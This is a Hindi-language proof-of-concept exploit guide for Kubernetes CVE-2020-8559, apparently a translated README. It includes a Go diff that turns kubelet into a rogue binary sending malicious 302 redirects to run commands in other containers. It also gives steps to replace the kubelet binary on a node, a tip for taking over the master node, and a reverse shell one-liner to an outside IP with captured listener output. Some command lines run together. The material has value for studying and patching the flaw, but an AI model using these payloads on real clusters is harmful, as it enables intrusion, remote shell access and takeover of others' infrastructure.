
यह CVE-2020-8559 Kubernetes भेद्यता के लिए एक PoC एक्सप्लॉइट है।
यह केवल प्रदर्शन उद्देश्यों के लिए है। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिन पर आपको प्रशासनिक कार्य करने और CVE-2020-8559 का शोषण करने का अधिकार है।
यह CVE-2020-8559 के लिए एक PoC है। यह भेद्यता उस हमलावर को, जिसने किसी Node पर root प्राप्त कर लिया है, क्लस्टर के किसी भी अन्य Container में कमांड निष्पादित करने की अनुमति देती है, जिससे हमलावर Kubernetes Master Node पर कब्ज़ा कर सकता है।
यह भेद्यता इस तथ्य के कारण है कि Kubernetes API Server और kubectl कमांड HTTP Redirects का अनुसरण करते हैं, साथ ही इस तथ्य के कारण कि Kubernetes API किसी API अनुरोध के सभी घटकों को URL में डाल देता है, अर्थात् Node name, Pod name, Container name और यहाँ तक कि Command भी। इसलिए, यदि Kubelet प्रक्रिया /exec, /attach, /portforward, या किसी resource: proxy क्रिया का उत्तर HTTP 302 Redirect के साथ देती है, जिसमें Location header किसी भिन्न Node पर किसी भिन्न Container में एक अलग कमांड निष्पादित करने का निर्देश देता है, तो Kubernetes API Server या kubectl कमांड Location header में जो कुछ भी है, उसके लिए ख़ुशी से एक नया अनुरोध करेगा।
आप Kubernetes का मेरा फोर्क किया गया संस्करण डाउनलोड कर सकते हैं और exploit kubelet binary बनाने के लिए मेरी branch पर स्विच कर सकते हैं।
यह branch v1.15.9 tag पर आधारित है।
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
यह PoC केवल हार्ड-कोडेड Location header के साथ 302 HTTP Redirect भेजेगा, इसलिए आपको kubernetes/pkg/kubelet/server/server.go को संपादित करके host, namespace, pod, container, और command को अपडेट करना होगा।
प्रो टिप: क्लस्टर के सभी Pods की सूची बनाएं। फिर, क्लस्टर पर कब्ज़ा करने के लिए अपने पास वापस reverse shell शुरू करने हेतु Kubernetes Master Node पर चल रहे एक Pod पर कमांड निष्पादित करने के लिए इसे कॉन्फ़िगर करें।
हमले को कॉन्फ़िगर करने के बाद, एक rogue kubelet binary बनाएं
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
kubelet binary को Node पर कॉपी करेंkubelet प्रक्रिया को रोकें और binary को rogue binary से ओवर-राइट करेंkubelet प्रक्रिया का PID खोजेंps aux |grep kubeletkubelet प्रक्रिया को kill करें और rogue binary को उसके स्थान पर कॉपी करेंsudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet प्रक्रिया को फिर से kill करें ताकि यह rogue binary के साथ पुनः प्रारंभ होkubelet प्रक्रिया का PID खोजेंps aux |grep kubeletkubelet प्रक्रिया को kill करेंsudo kill $PIDkubectl कमांड का उपयोग करके हमला करने के लिए कॉन्फ़िगर किया गया है, तो यह कमांड Victim Container का hostname लौटाए, न कि उस container का जिस पर इसे निष्पादित किया जाना चाहिए था[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
आप किसी भी Container से अपने पास वापस reverse shell भी शुरू कर सकते हैं
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1सफलता :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#